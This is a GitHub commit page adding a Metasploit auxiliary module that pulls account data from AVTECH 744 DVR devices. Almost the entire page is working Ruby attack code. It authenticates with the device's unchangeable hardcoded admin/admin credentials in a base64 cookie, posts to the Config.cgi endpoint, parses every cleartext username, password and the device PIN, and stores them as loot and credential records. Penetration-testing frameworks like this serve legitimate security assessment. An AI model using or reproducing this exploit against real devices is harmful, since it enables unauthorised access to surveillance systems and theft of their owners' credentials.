Skip to content

Commit 6669665

Browse files
committed
Land rapid7#5402, @nstarke's module to extract accouns information from a AVTECH744_DVR device
2 parents 96a1e1b + 843572d commit 6669665

File tree

1 file changed

+110
-0
lines changed

1 file changed

+110
-0
lines changed
Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Auxiliary
4+
5+
include Msf::Exploit::Remote::HttpClient
6+
include Msf::Auxiliary::Report
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'AVTECH 744 DVR Account Information Retrieval',
11+
'Description' => %q{
12+
This module will extract the accounts information from the AVTECH 744 DVR devices,
13+
including all the usernames and cleartext passwords plus the device PIN, along with
14+
a few other miscellaneous details. In order to extract the information, hardcoded
15+
credentials admin/admin are used. These credentials can't be changed from the device
16+
console UI neither the web UI.
17+
},
18+
'Author' => [ 'nstarke' ],
19+
'License' => MSF_LICENSE
20+
))
21+
end
22+
23+
24+
def run
25+
res = send_request_cgi({
26+
'method' => 'POST',
27+
'uri' => '/cgi-bin/user/Config.cgi',
28+
'cookie' => "SSID=#{Rex::Text.encode_base64('admin:admin')};",
29+
'vars_post' => {
30+
'action' => 'get',
31+
'category' => 'Account.*'
32+
}
33+
})
34+
35+
unless res
36+
fail_with(Failure::Unreachable, 'No response received from the target')
37+
end
38+
39+
unless res.code == 200
40+
fail_with(Failure::Unknown, 'An unknown error occured')
41+
end
42+
43+
raw_collection = extract_data(res.body)
44+
extract_creds(raw_collection)
45+
46+
p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body)
47+
print_good("avtech744.dvr.accounts stored in #{p}")
48+
end
49+
50+
def extract_data(body)
51+
raw_collection = []
52+
body.each_line do |line|
53+
key, value = line.split('=')
54+
if key && value
55+
_, second, third = key.split('.')
56+
if third
57+
index = second.slice(second.length - 1).to_i
58+
raw_collection[index] = raw_collection[index] ||= {}
59+
case third
60+
when 'Username'
61+
raw_collection[index][:username] = value.strip!
62+
when 'Password'
63+
raw_collection[index][:password] = value.strip!
64+
end
65+
elsif second.include?('Password')
66+
print_good("PIN Retrieved: #{key} - #{value.strip!}")
67+
end
68+
end
69+
end
70+
71+
raw_collection
72+
end
73+
74+
def extract_creds(raw_collection)
75+
raw_collection.each do |raw|
76+
unless raw
77+
next
78+
end
79+
80+
service_data = {
81+
address: rhost,
82+
port: rport,
83+
service_name: 'http',
84+
protocol: 'tcp',
85+
workspace_id: myworkspace_id
86+
}
87+
88+
credential_data = {
89+
module_fullname: self.fullname,
90+
origin_type: :service,
91+
private_data: raw[:password],
92+
private_type: :password,
93+
username: raw[:username]
94+
}
95+
96+
credential_data.merge!(service_data)
97+
98+
credential_core = create_credential(credential_data)
99+
100+
login_data = {
101+
core: credential_core,
102+
status: Metasploit::Model::Login::Status::UNTRIED
103+
}
104+
105+
login_data.merge!(service_data)
106+
107+
create_credential_login(login_data)
108+
end
109+
end
110+
end

0 commit comments

Comments
 (0)